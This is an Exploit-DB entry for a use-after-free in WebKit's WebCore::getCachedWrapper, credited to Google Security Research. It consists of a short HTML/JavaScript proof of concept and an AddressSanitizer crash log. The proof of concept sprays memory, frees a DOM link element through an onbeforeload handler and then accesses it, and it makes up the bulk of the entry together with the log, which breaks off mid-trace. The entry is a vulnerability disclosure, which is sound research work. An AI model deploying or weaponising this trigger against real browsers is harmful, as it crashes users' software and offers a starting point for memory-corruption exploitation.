Exploit-DB #42367
Description: WebKit - 'WebCore::getCachedWrapper' Use-After-Free
Type: dos
Platform: multiple
Date: 2017-07-24
Author: Google Security Research

Exploit:
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1242

There is a use-after-free security vulnerability in WebKit. The vulnerability was confirmed on ASan build of WebKit nightly.

PoC:

=================================================================
-->

<script>
function freememory() {
 var a;
 for(var i=0;i<100;i++) {
   a = new Uint8Array(1024*1024);
 }
}

function boom() {
  var link = document.getElementById("link");
  prompt(link.innerHTML);
}

function go() {
  var link2 = document.createElement("link");
  link2.innerHTML = div3.outerHTML;
  div2.appendChild(link2);
  link2.setAttribute("onbeforeload", "eventhandler()");
  div1.appendChild(div2);
  freememory()
  setTimeout(boom,1000);
}
function eventhandler() {
  document.getElementById("link").remove();
}
</script>
<body onload=go()>
<div id="div1"></div>
<div id="div2"></div>
<div id="div3">
<link id="link">

<!--
=================================================================

ASan log:

=================================================================
==29632==ERROR: AddressSanitizer: heap-use-after-free on address 0x611000087cc8 at pc 0x000112b711cd bp 0x7fff58466d00 sp 0x7fff58466cf8
READ of size 8 at 0x611000087cc8 thread T0
==29632==WARNING: invalid path to external symbolizer!
==29632==WARNING: Failed to use and restart external symbolizer!
    #0 0x112b711cc in JSC::Weak<WebCore::JSDOMObject>::get() const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3a51cc)
    #1 0x113d3150a in JSC::JSObject* WebCore::getCachedWrapper<WebCore::Element>(WebCore::DOMWrapperWorld&, WebCore::Element&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x156550a)
    #2 0x113d31364 in WebCore::toJS(JSC::ExecState*, WebCore::JSDOMGlobalObject*, WebCore::Element&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x1565364)
    #3 0x113b053d4 in WebCore::jsDocumentPrototypeFunctionGetElementByIdCaller(JSC::ExecState*, WebCore::JSDocument*, JSC::ThrowScope&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x13393d4)
    #4 0x113aeb158 in long long WebCore::BindingCaller<WebCore::JSDocument>::callOperation<&(WebCore::jsDocumentPrototypeFunctionGetElementByIdCaller(JSC::ExecState*, WebCore::JSDocument*, JSC::ThrowScope&)), (WebCore::CastedThisErrorBehavior)0>(JSC::ExecState*, char const*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x131f158)
    #5 0x4b4d2f201027  (<unknown module>)
    #6 0x10eef934a in llint_entry (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x157734a)
    #7 0x10eef291a in vmEntryToJavaScript (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x157091a)
    #8 0x10eb57757 in JSC::JITCode::execute(JSC::VM*, JSC::ProtoCallFrame*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x11d5757)
    #9 0x10ead93da in JSC::Interpreter::executeCall(JSC::ExecState*, JSC::JSObject*, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x11573da)
    #10 0x10e1110f1 in JSC::call(JSC::ExecState*, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x78f0f1)
    #11 0x10e111362 in JSC::call(JSC::ExecState*, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&, WTF::NakedPtr<JSC::Exception>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x78f362)
    #12 0x10e1116d3 in JSC::profiledCall(JSC::ExecState*, JSC::ProfilingReason, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&, WTF::NakedPtr<JSC::Exception>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x78f6d3)
    #13 0x1139bfa15 in WebCore::JSMainThreadExecState::profiledCall(JSC::ExecState*, JSC::ProfilingReason, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&, WTF::NakedPtr<JSC::Exception>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x11f3a15)
    #14 0x11507c75a in WebCore::ScheduledAction::executeFunctionInContext(JSC::JSGlobalObject*, JSC::JSValue, WebCore::ScriptExecutionContext&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x28b075a)
    #15 0x11507c21c in WebCore::ScheduledAction::execute(WebCore::Document&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x28b021c)
    #16 0x1130238db in WebCore::DOMTimer::fired() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x8578db)
    #17 0x1155f3b82 in WebCore::ThreadTimers::sharedTimerFiredInternal() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2e27b82)
    #18 0x1147f5b54 in WebCore::timerFired(__CFRunLoopTimer*, void*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2029b54)
    #19 0x7fffd2f5ed03 in __CFRUNLOOP_IS_CALLING_OUT_TO_A_TIMER_CALLBACK_FUNCTION__ (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0x90d03)
    #20 0x7fffd2f5e98e in __CFRunLoopDoTimer (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0x9098